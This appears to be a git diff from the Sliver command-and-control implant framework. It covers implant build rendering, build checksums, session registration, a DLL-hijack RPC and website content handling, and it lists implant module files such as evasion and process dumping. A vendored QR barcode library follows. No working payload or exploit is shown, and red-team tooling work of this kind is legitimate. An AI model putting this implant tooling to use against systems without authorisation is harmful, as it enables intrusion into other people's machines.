buildLog.Infof("[render] %s -> %s", boxName, sliverCodePath)
buildLog.Infof("[render] %s -> %s", f.Name(), sliverCodePath)
// Render code
sliverCodeTmpl := template.Must(template.New("sliver").Parse(sliverGoCode))
// --------------
// Render Code
// --------------
sliverCodeTmpl := template.New("sliver")
sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{
"GenerateUserAgent": func() string {
return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH)
},
}).Parse(sliverGoCode)
if err != nil {
buildLog.Errorf("Template parsing error %s", err)
return err
}
err = sliverCodeTmpl.Execute(buf, struct {
Name string
Config *models.ImplantConfig
Name string
Config *models.ImplantConfig
OTPSecret string
HTTPC2ImplantConfig *configs.HTTPC2ImplantConfig
}{
name,
config,
otpSecret,
configs.GetHTTPC2Config().RandomImplantConfig(),
})
if err != nil {
buildLog.Error(err)
return "", err
buildLog.Errorf("Template execution error %s", err)
return err
}
// Render canaries
@@ -624,14 +604,18 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
"GenerateCanary": canaryGenerator.GenerateCanary,
}).Parse(buf.String())
if err != nil {
return "", err
return err
}
err = canaryTmpl.Execute(fSliver, canaryGenerator)
if err != nil {
buildLog.Infof("Failed to render go code: %s", err)
return "", err
return err
}
return nil
})
if err != nil {
return "", err
}
// Render GoMod
+10 -10
View File
@@ -140,7 +140,7 @@ func mtlsExe(t *testing.T, goos string, goarch string, debug bool) {
nonce++
_, err := SliverExecutable(fmt.Sprintf("mtls_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
@@ -159,7 +159,7 @@ func dnsExe(t *testing.T, goos string, goarch string, debug bool) {
nonce++
_, err := SliverExecutable(fmt.Sprintf("dns_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
@@ -182,7 +182,7 @@ func httpExe(t *testing.T, goos string, goarch string, debug bool) {
nonce++
_, err := SliverExecutable(fmt.Sprintf("http_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
@@ -209,7 +209,7 @@ func multiExe(t *testing.T, goos string, goarch string, debug bool) {
nonce++
_, err := SliverExecutable(fmt.Sprintf("multi_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
@@ -235,7 +235,7 @@ func multiWindowsService(t *testing.T, goos string, goarch string, debug bool) {
nonce++
_, err := SliverExecutable(fmt.Sprintf("service_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
@@ -258,7 +258,7 @@ func tcpPivotExe(t *testing.T, goos string, goarch string, debug bool) {
nonce++
_, err := SliverExecutable(fmt.Sprintf("tcpPivot_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
@@ -281,7 +281,7 @@ func namedPipeExe(t *testing.T, goos string, goarch string, debug bool) {
nonce++
_, err := SliverExecutable(fmt.Sprintf("namedpipe_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
@@ -310,7 +310,7 @@ func wireguardExe(t *testing.T, goos string, goarch string, debug bool) {
certs.SetupWGKeys()
_, err := SliverExecutable(fmt.Sprintf("wireguard_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
@@ -342,7 +342,7 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
nonce++
_, err := SliverSharedLibrary(fmt.Sprintf("multilibrary_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
@@ -365,6 +365,6 @@ func symbolObfuscation(t *testing.T, goos string, goarch string) {
nonce++
_, err := SliverExecutable(fmt.Sprintf("symbol_test%d", nonce), config)
if err != nil {
t.Errorf(fmt.Sprintf("%v", err))
t.Fatalf(fmt.Sprintf("%v", err))
}
}
+29 -3
View File
@@ -20,6 +20,8 @@ package generate
import (
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"encoding/hex"
"errors"
"fmt"
@@ -34,6 +36,7 @@ import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/watchtower"
"gorm.io/gorm/clause"
)
var (
@@ -55,6 +58,18 @@ func getBuildsDir() (string, error) {
return buildsDir, nil
}
// ImplantConfigSave - Save only the config to the database
func ImplantConfigSave(config *models.ImplantConfig) error {
dbSession := db.Session()
result := dbSession.Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&config)
if result.Error != nil {
return result.Error
}
return nil
}
// ImplantBuildSave - Saves a binary file into the database
func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) error {
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
@@ -67,8 +82,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
if err != nil {
return err
}
sum := md5.Sum(data)
hash := hex.EncodeToString(sum[:])
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
buildsDir, err := getBuildsDir()
if err != nil {
return err
@@ -77,7 +91,9 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
implantBuild := &models.ImplantBuild{
Name: name,
ImplantConfig: (*config),
Checksum: hash,
MD5: md5Hash,
SHA1: sha1Hash,
SHA256: sha256Hash,
}
watchtower.AddImplantToWatchlist(implantBuild)
result := dbSession.Create(&implantBuild)
@@ -88,6 +104,16 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
}
func computeHashes(data []byte) (string, string, string) {
md5Sum := md5.Sum(data)
md5Hash := hex.EncodeToString(md5Sum[:])
sha1Sum := sha1.Sum(data)
sha1Hash := hex.EncodeToString(sha1Sum[:])
sha256Sum := sha256.Sum256(data)
sha256Hash := hex.EncodeToString(sha256Sum[:])
return md5Hash, sha1Hash, sha256Hash
}
// ImplantFileFromBuild - Saves a binary file into the database
func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
buildsDir, err := getBuildsDir()
-216
View File
@@ -1,216 +0,0 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// These files get rendered as part of the build process.
// If you add a file to `implant/sliver/` it won't be automatically included
// as part of the build by the server, you have to add it here.
var (
srcFiles = []string{
"constants/constants.go",
"encoders/base64.go",
"encoders/combos.go",
"encoders/encoders.go",
"encoders/english-words.go",
"encoders/english.go",
"encoders/gzip.go",
"encoders/hex.go",
"encoders/images.go",
"evasion/evasion.go",
"evasion/evasion_darwin.go",
"evasion/evasion_linux.go",
"evasion/evasion_windows.go",
"extension/extension.go",
"extension/extension_windows.go",
"extension/extension_darwin.go",
"forwarder/forwarder.go",
"forwarder/socks.go",
"forwarder/portforward.go",
// C files for DLL
"sliver.h",
"sliver.c",
"handlers/rpc-handlers.go",
"handlers/tun-handlers.go",
"handlers/pivot-handlers.go",
"handlers/special-handlers.go",
"handlers/handlers_darwin.go",
"handlers/handlers_linux.go",
"handlers/handlers_windows.go",
"handlers/handlers.go",
"hostuuid/uuid.go",
"hostuuid/uuid_windows.go",
"hostuuid/uuid_darwin.go",
"hostuuid/uuid_linux.go",
"limits/limits.go",
"limits/limits_windows.go",
"limits/limits_darwin.go",
"limits/limits_linux.go",
"netstat/netstat.go",
"netstat/netstat_windows.go",
"netstat/netstat_linux.go",
"netstat/netstat_darwin.go",
"netstat/netstat_types_darwin.go",
"procdump/dump.go",
"procdump/dump_windows.go",
"procdump/dump_linux.go",
"procdump/dump_darwin.go",
"proxy/provider_darwin.go",
"proxy/provider_linux.go",
"proxy/provider_windows.go",
"proxy/provider.go",
"proxy/proxy.go",
"proxy/url.go",
"ps/ps.go",
"ps/ps_windows.go",
"ps/ps_linux.go",
"ps/ps_darwin.go",
"ps/ps_types_darwin.go",
"registry/registry.go",
"registry/registry_windows.go",
"service/service.go",
"service/service_windows.go",
"shell/shell.go",
"shell/shell_windows.go",
"shell/shell_darwin.go",
"shell/pty/pty_darwin.go",
"shell/shell_linux.go",
"shell/pty/pty_linux.go",
"shell/pty/run.go",
"shell/pty/util.go",
"shell/pty/doc.go",
"shell/pty/types.go",
"shell/pty/ztypes_386.go",
"shell/pty/ztypes_amd64.go",
"shell/pty/ioctl.go",
"shell/pty/ioctl_bsd.go",
"shell/pty/ioctl_darwin.go",
"shell/pty/pty_unsupported.go",
"shell/ssh/ssh.go",
"taskrunner/task.go",
"taskrunner/task_windows.go",
"taskrunner/task_darwin.go",
"taskrunner/task_linux.go",
"priv/priv.go",
"priv/priv_windows.go",
"pivots/named-pipe.go",
"pivots/named-pipe_windows.go",
"pivots/tcp.go",
"pivots/pivots.go",
"screen/screen.go",
"screen/screenshot_darwin.go",
"screen/screenshot_linux.go",
"screen/screenshot_windows.go",
"syscalls/syscalls.go",
"syscalls/syscalls_windows.go",
"syscalls/types_windows.go",
"syscalls/zsyscalls_windows.go",
"transports/crypto.go",
"transports/tcp-mtls.go",
"netstack/tun.go",
"transports/tcp-wg.go",
"transports/tcp-http.go",
"transports/udp-dns.go",
"transports/named-pipe.go",
"transports/tcp-pivot.go",
"transports/transports.go",
"version/version.go",
"version/version_windows.go",
"version/version_linux.go",
"version/version_darwin.go",
"winhttp/winhttp.go",
"sliver.go",
}
// PURE GO only - For compiling to unsupported platforms
genericSrcFiles = []string{
"constants/constants.go",
"encoders/base64.go",
"encoders/combos.go",
"encoders/encoders.go",
"encoders/english-words.go",
"encoders/english.go",
"encoders/gzip.go",
"encoders/hex.go",
"encoders/images.go",
"handlers/handlers_default.go",
"handlers/tun-handlers.go",
"handlers/handlers.go",
"shell/shell_default.go",
"hostuuid/uuid_default.go",
"limits/limits.go",
"limits/limits_default.go",
"pivots/named-pipe.go",
"pivots/tcp.go",
"pivots/pivots.go",
"proxy/provider.go",
"proxy/provider_default.go",
"proxy/proxy.go",
"proxy/url.go",
"transports/crypto.go",
"transports/tcp-mtls.go",
"netstack/tun.go",
"transports/tcp-wg.go",
"transports/tcp-http.go",
"transports/udp-dns.go",
"transports/named-pipe.go",
"transports/tcp-pivot.go",
"transports/transports.go",
"version/version_default.go",
"version/version.go",
"sliver.go",
}
)
+7 -9
View File
@@ -60,14 +60,14 @@ func AddSessionHandlers(key uint32, value interface{}) {
}
func registerSessionHandler(session *core.Session, data []byte) {
register := &sliverpb.Register{}
err := proto.Unmarshal(data, register)
if err != nil {
handlerLog.Warnf("error decoding message: %v", err)
if session == nil {
return
}
if session == nil {
register := &sliverpb.Register{}
err := proto.Unmarshal(data, register)
if err != nil {
handlerLog.Errorf("Error decoding message: %s", err)
return
}
@@ -78,10 +78,8 @@ func registerSessionHandler(session *core.Session, data []byte) {
// Parse Register UUID
sessionUUID, err := uuid.Parse(register.Uuid)
if err != nil {
// Generate Random UUID
sessionUUID = uuid.New()
sessionUUID = uuid.New() // Generate Random UUID
}
session.Name = register.Name
session.Hostname = register.Hostname
session.UUID = sessionUUID.String()
@@ -161,5 +159,5 @@ func tunnelCloseHandler(session *core.Session, data []byte) {
}
func pingHandler(session *core.Session, data []byte) {
handlerLog.Infof("ping from session %d", session.ID)
handlerLog.Debugf("ping from session %d", session.ID)
}
+2 -2
View File
@@ -37,12 +37,12 @@ import (
"github.com/bishopfox/sliver/util/encoders"
)
func (rpc *Server) HijackDLL(ctx context.Context, req *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
var (
refDLL []byte
targetDLLData []byte
)
resp := &sliverpb.DllHijack{
resp := &clientpb.DllHijack{
Response: &commonpb.Response{},
}
session := core.Sessions.Get(req.Request.SessionID)
+2 -2
View File
@@ -21,8 +21,8 @@ var (
func update(implantBuild *models.ImplantBuild) {
if watcher != nil && initialized {
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.Checksum)
watcher.Add(implantBuild.Name, implantBuild.Checksum)
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.MD5)
watcher.Add(implantBuild.Name, implantBuild.MD5)
watchtowerLog.Debugf("Implant added to the watch list")
}
}
+4 -1
View File
@@ -96,6 +96,7 @@ func AddWebsite(websiteName string) (*models.Website, error) {
website = &models.Website{Name: websiteName}
err = dbSession.Create(&website).Error
}
dbSession.Commit()
return website, err
}
@@ -129,6 +130,7 @@ func AddContent(websiteName string, path string, contentType string, content []b
if err != nil {
return err
}
dbSession.Commit()
// Write content to disk
webContentDir, err := getWebContentDir()
@@ -176,7 +178,8 @@ func RemoveContent(websiteName string, path string) error {
}
// Delete row
result = dbSession.Delete(&content)
result = dbSession.Delete(&models.WebContent{}, content.ID)
dbSession.Commit()
return result.Error
}
+6
View File
@@ -170,6 +170,12 @@ func TestRemoveContent(t *testing.T) {
if err != nil {
t.Error(err)
}
_, _, err = GetContent(website1, "/foobar")
if !errors.Is(err, db.ErrRecordNotFound) {
t.Errorf("Expected ErrRecordNotFound, but got %v", err)
}
_, _, err = GetContent(website1, "/data1")
if !errors.Is(err, db.ErrRecordNotFound) {
t.Errorf("Expected ErrRecordNotFound, but got %v", err)
+1 -1
View File
@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
if encoder, ok := EncoderMap[encoderID]; ok {
return encoderID, encoder, nil
}
return -1, nil, errors.New("{{if .Config.Debug}}Invalid encoder nonce{{end}}")
return -1, nil, errors.New("Invalid encoder nonce")
}
// RandomEncoder - Get a random nonce identifier and a matching encoder
+1
View File
@@ -0,0 +1 @@
.vscode/
+21
View File
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2014 Florian Sundermann
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+53
View File
@@ -0,0 +1,53 @@
[![Join the chat at https://gitter.im/golang-barcode/Lobby](https://badges.gitter.im/golang-barcode/Lobby.svg)](https://gitter.im/golang-barcode/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
## Introduction ##
This is a package for GO which can be used to create different types of barcodes.
## Supported Barcode Types ##
* 2 of 5
* Aztec Code
* Codabar
* Code 128
* Code 39
* Code 93
* Datamatrix
* EAN 13
* EAN 8
* PDF 417
* QR Code
## Example ##
This is a simple example on how to create a QR-Code and write it to a png-file
```go
package main
import (
"image/png"
"os"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/qr"
)
func main() {
// Create the barcode
qrCode, _ := qr.Encode("Hello World", qr.M, qr.Auto)
// Scale the barcode to 200x200 pixels
qrCode, _ = barcode.Scale(qrCode, 200, 200)
// create the output file
file, _ := os.Create("qrcode.png")
defer file.Close()
// encode the barcode as png
png.Encode(file, qrCode)
}
```
## Documentation ##
See [GoDoc](https://godoc.org/github.com/boombuler/barcode)
To create a barcode use the Encode function from one of the subpackages.
+42
View File
@@ -0,0 +1,42 @@
package barcode
import "image"
const (
TypeAztec = "Aztec"
TypeCodabar = "Codabar"
TypeCode128 = "Code 128"
TypeCode39 = "Code 39"
TypeCode93 = "Code 93"
TypeDataMatrix = "DataMatrix"
TypeEAN8 = "EAN 8"
TypeEAN13 = "EAN 13"
TypePDF = "PDF417"
TypeQR = "QR Code"
Type2of5 = "2 of 5"
Type2of5Interleaved = "2 of 5 (interleaved)"
)
// Contains some meta information about a barcode
type Metadata struct {
// the name of the barcode kind
CodeKind string
// contains 1 for 1D barcodes or 2 for 2D barcodes
Dimensions byte
}
// a rendered and encoded barcode
type Barcode interface {
image.Image
// returns some meta information about the barcode
Metadata() Metadata
// the data that was encoded in this barcode
Content() string
}
// Additional interface that some barcodes might implement to provide
// the value of its checksum.
type BarcodeIntCS interface {
Barcode
CheckSum() int
}
+66
View File
@@ -0,0 +1,66 @@
package qr
import (
"errors"
"fmt"
"strings"
"github.com/boombuler/barcode/utils"
)
const charSet string = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"
func stringToAlphaIdx(content string) <-chan int {
result := make(chan int)
go func() {
for _, r := range content {
idx := strings.IndexRune(charSet, r)
result <- idx
if idx < 0 {
break
}
}
close(result)
}()
return result
}
func encodeAlphaNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
contentLenIsOdd := len(content)%2 == 1
contentBitCount := (len(content) / 2) * 11
if contentLenIsOdd {
contentBitCount += 6
}
vi := findSmallestVersionInfo(ecl, alphaNumericMode, contentBitCount)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
res := new(utils.BitList)
res.AddBits(int(alphaNumericMode), 4)
res.AddBits(len(content), vi.charCountBits(alphaNumericMode))
encoder := stringToAlphaIdx(content)
for idx := 0; idx < len(content)/2; idx++ {
c1 := <-encoder
c2 := <-encoder
if c1 < 0 || c2 < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
}
res.AddBits(c1*45+c2, 11)
}
if contentLenIsOdd {
c := <-encoder
if c < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
}
res.AddBits(c, 6)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+23
View File
@@ -0,0 +1,23 @@
package qr
import (
"fmt"
"github.com/boombuler/barcode/utils"
)
func encodeAuto(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
bits, vi, _ := Numeric.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
bits, vi, _ = AlphaNumeric.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
bits, vi, _ = Unicode.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
return nil, nil, fmt.Errorf("No encoding found to encode \"%s\"", content)
}
+59
View File
@@ -0,0 +1,59 @@
package qr
type block struct {
data []byte
ecc []byte
}
type blockList []*block
func splitToBlocks(data <-chan byte, vi *versionInfo) blockList {
result := make(blockList, vi.NumberOfBlocksInGroup1+vi.NumberOfBlocksInGroup2)
for b := 0; b < int(vi.NumberOfBlocksInGroup1); b++ {
blk := new(block)
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup1)
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup1); cw++ {
blk.data[cw] = <-data
}
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
result[b] = blk
}
for b := 0; b < int(vi.NumberOfBlocksInGroup2); b++ {
blk := new(block)
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup2)
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup2); cw++ {
blk.data[cw] = <-data
}
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
result[int(vi.NumberOfBlocksInGroup1)+b] = blk
}
return result
}
func (bl blockList) interleave(vi *versionInfo) []byte {
var maxCodewordCount int
if vi.DataCodeWordsPerBlockInGroup1 > vi.DataCodeWordsPerBlockInGroup2 {
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup1)
} else {
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup2)
}
resultLen := (vi.DataCodeWordsPerBlockInGroup1+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup1 +
(vi.DataCodeWordsPerBlockInGroup2+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup2
result := make([]byte, 0, resultLen)
for i := 0; i < maxCodewordCount; i++ {
for b := 0; b < len(bl); b++ {
if len(bl[b].data) > i {
result = append(result, bl[b].data[i])
}
}
}
for i := 0; i < int(vi.ErrorCorrectionCodewordsPerBlock); i++ {
for b := 0; b < len(bl); b++ {
result = append(result, bl[b].ecc[i])
}
}
return result
}
+416
View File
@@ -0,0 +1,416 @@
// Package qr can be used to create QR barcodes.
package qr
import (
"image"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/utils"
)
type encodeFn func(content string, eccLevel ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error)
// Encoding mode for QR Codes.
type Encoding byte
const (
// Auto will choose ths best matching encoding
Auto Encoding = iota
// Numeric encoding only encodes numbers [0-9]
Numeric
// AlphaNumeric encoding only encodes uppercase letters, numbers and [Space], $, %, *, +, -, ., /, :
AlphaNumeric
// Unicode encoding encodes the string as utf-8
Unicode
// only for testing purpose
unknownEncoding
)
func (e Encoding) getEncoder() encodeFn {
switch e {
case Auto:
return encodeAuto
case Numeric:
return encodeNumeric
case AlphaNumeric:
return encodeAlphaNumeric
case Unicode:
return encodeUnicode
}
return nil
}
func (e Encoding) String() string {
switch e {
case Auto:
return "Auto"
case Numeric:
return "Numeric"
case AlphaNumeric:
return "AlphaNumeric"
case Unicode:
return "Unicode"
}
return ""
}
// Encode returns a QR barcode with the given content, error correction level and uses the given encoding
func Encode(content string, level ErrorCorrectionLevel, mode Encoding) (barcode.Barcode, error) {
bits, vi, err := mode.getEncoder()(content, level)
if err != nil {
return nil, err
}
blocks := splitToBlocks(bits.IterateBytes(), vi)
data := blocks.interleave(vi)
result := render(data, vi)
result.content = content
return result, nil
}
func render(data []byte, vi *versionInfo) *qrcode {
dim := vi.modulWidth()
results := make([]*qrcode, 8)
for i := 0; i < 8; i++ {
results[i] = newBarcode(dim)
}
occupied := newBarcode(dim)
setAll := func(x int, y int, val bool) {
occupied.Set(x, y, true)
for i := 0; i < 8; i++ {
results[i].Set(x, y, val)
}
}
drawFinderPatterns(vi, setAll)
drawAlignmentPatterns(occupied, vi, setAll)
//Timing Pattern:
var i int
for i = 0; i < dim; i++ {
if !occupied.Get(i, 6) {
setAll(i, 6, i%2 == 0)
}
if !occupied.Get(6, i) {
setAll(6, i, i%2 == 0)
}
}
// Dark Module
setAll(8, dim-8, true)
drawVersionInfo(vi, setAll)
drawFormatInfo(vi, -1, occupied.Set)
for i := 0; i < 8; i++ {
drawFormatInfo(vi, i, results[i].Set)
}
// Write the data
var curBitNo int
for pos := range iterateModules(occupied) {
var curBit bool
if curBitNo < len(data)*8 {
curBit = ((data[curBitNo/8] >> uint(7-(curBitNo%8))) & 1) == 1
} else {
curBit = false
}
for i := 0; i < 8; i++ {
setMasked(pos.X, pos.Y, curBit, i, results[i].Set)
}
curBitNo++
}
lowestPenalty := ^uint(0)
lowestPenaltyIdx := -1
for i := 0; i < 8; i++ {
p := results[i].calcPenalty()
if p < lowestPenalty {
lowestPenalty = p
lowestPenaltyIdx = i
}
}
return results[lowestPenaltyIdx]
}
func setMasked(x, y int, val bool, mask int, set func(int, int, bool)) {
switch mask {
case 0:
val = val != (((y + x) % 2) == 0)
break
case 1:
val = val != ((y % 2) == 0)
break
case 2:
val = val != ((x % 3) == 0)
break
case 3:
val = val != (((y + x) % 3) == 0)
break
case 4:
val = val != (((y/2 + x/3) % 2) == 0)
break
case 5:
val = val != (((y*x)%2)+((y*x)%3) == 0)
break
case 6:
val = val != ((((y*x)%2)+((y*x)%3))%2 == 0)
break
case 7:
val = val != ((((y+x)%2)+((y*x)%3))%2 == 0)
}
set(x, y, val)
}
func iterateModules(occupied *qrcode) <-chan image.Point {
result := make(chan image.Point)
allPoints := make(chan image.Point)
go func() {
curX := occupied.dimension - 1
curY := occupied.dimension - 1
isUpward := true
for true {
if isUpward {
allPoints <- image.Pt(curX, curY)
allPoints <- image.Pt(curX-1, curY)
curY--
if curY < 0 {
curY = 0
curX -= 2
if curX == 6 {
curX--
}
if curX < 0 {
break
}
isUpward = false
}
} else {
allPoints <- image.Pt(curX, curY)
allPoints <- image.Pt(curX-1, curY)
curY++
if curY >= occupied.dimension {
curY = occupied.dimension - 1
curX -= 2
if curX == 6 {
curX--
}
isUpward = true
if curX < 0 {
break
}
}
}
}
close(allPoints)
}()
go func() {
for pt := range allPoints {
if !occupied.Get(pt.X, pt.Y) {
result <- pt
}
}
close(result)
}()
return result
}
func drawFinderPatterns(vi *versionInfo, set func(int, int, bool)) {
dim := vi.modulWidth()
drawPattern := func(xoff int, yoff int) {
for x := -1; x < 8; x++ {
for y := -1; y < 8; y++ {
val := (x == 0 || x == 6 || y == 0 || y == 6 || (x > 1 && x < 5 && y > 1 && y < 5)) && (x <= 6 && y <= 6 && x >= 0 && y >= 0)
if x+xoff >= 0 && x+xoff < dim && y+yoff >= 0 && y+yoff < dim {
set(x+xoff, y+yoff, val)
}
}
}
}
drawPattern(0, 0)
drawPattern(0, dim-7)
drawPattern(dim-7, 0)
}
func drawAlignmentPatterns(occupied *qrcode, vi *versionInfo, set func(int, int, bool)) {
drawPattern := func(xoff int, yoff int) {
for x := -2; x <= 2; x++ {
for y := -2; y <= 2; y++ {
val := x == -2 || x == 2 || y == -2 || y == 2 || (x == 0 && y == 0)
set(x+xoff, y+yoff, val)
}
}
}
positions := vi.alignmentPatternPlacements()
for _, x := range positions {
for _, y := range positions {
if occupied.Get(x, y) {
continue
}
drawPattern(x, y)
}
}
}
var formatInfos = map[ErrorCorrectionLevel]map[int][]bool{
L: {
0: []bool{true, true, true, false, true, true, true, true, true, false, false, false, true, false, false},
1: []bool{true, true, true, false, false, true, false, true, true, true, true, false, false, true, true},
2: []bool{true, true, true, true, true, false, true, true, false, true, false, true, false, true, false},
3: []bool{true, true, true, true, false, false, false, true, false, false, true, true, true, false, true},
4: []bool{true, true, false, false, true, true, false, false, false, true, false, true, true, true, true},
5: []bool{true, true, false, false, false, true, true, false, false, false, true, true, false, false, false},
6: []bool{true, true, false, true, true, false, false, false, true, false, false, false, false, false, true},
7: []bool{true, true, false, true, false, false, true, false, true, true, true, false, true, true, false},
},
M: {
0: []bool{true, false, true, false, true, false, false, false, false, false, true, false, false, true, false},
1: []bool{true, false, true, false, false, false, true, false, false, true, false, false, true, false, true},
2: []bool{true, false, true, true, true, true, false, false, true, true, true, true, true, false, false},
3: []bool{true, false, true, true, false, true, true, false, true, false, false, true, false, true, true},
4: []bool{true, false, false, false, true, false, true, true, true, true, true, true, false, false, true},
5: []bool{true, false, false, false, false, false, false, true, true, false, false, true, true, true, false},
6: []bool{true, false, false, true, true, true, true, true, false, false, true, false, true, true, true},
7: []bool{true, false, false, true, false, true, false, true, false, true, false, false, false, false, false},
},
Q: {
0: []bool{false, true, true, false, true, false, true, false, true, false, true, true, true, true, true},
1: []bool{false, true, true, false, false, false, false, false, true, true, false, true, false, false, false},
2: []bool{false, true, true, true, true, true, true, false, false, true, true, false, false, false, true},
3: []bool{false, true, true, true, false, true, false, false, false, false, false, false, true, true, false},
4: []bool{false, true, false, false, true, false, false, true, false, true, true, false, true, false, false},
5: []bool{false, true, false, false, false, false, true, true, false, false, false, false, false, true, true},
6: []bool{false, true, false, true, true, true, false, true, true, false, true, true, false, true, false},
7: []bool{false, true, false, true, false, true, true, true, true, true, false, true, true, false, true},
},
H: {
0: []bool{false, false, true, false, true, true, false, true, false, false, false, true, false, false, true},
1: []bool{false, false, true, false, false, true, true, true, false, true, true, true, true, true, false},
2: []bool{false, false, true, true, true, false, false, true, true, true, false, false, true, true, true},
3: []bool{false, false, true, true, false, false, true, true, true, false, true, false, false, false, false},
4: []bool{false, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
5: []bool{false, false, false, false, false, true, false, false, true, false, true, false, true, false, true},
6: []bool{false, false, false, true, true, false, true, false, false, false, false, true, true, false, false},
7: []bool{false, false, false, true, false, false, false, false, false, true, true, true, false, true, true},
},
}
func drawFormatInfo(vi *versionInfo, usedMask int, set func(int, int, bool)) {
var formatInfo []bool
if usedMask == -1 {
formatInfo = []bool{true, true, true, true, true, true, true, true, true, true, true, true, true, true, true} // Set all to true cause -1 --> occupied mask.
} else {
formatInfo = formatInfos[vi.Level][usedMask]
}
if len(formatInfo) == 15 {
dim := vi.modulWidth()
set(0, 8, formatInfo[0])
set(1, 8, formatInfo[1])
set(2, 8, formatInfo[2])
set(3, 8, formatInfo[3])
set(4, 8, formatInfo[4])
set(5, 8, formatInfo[5])
set(7, 8, formatInfo[6])
set(8, 8, formatInfo[7])
set(8, 7, formatInfo[8])
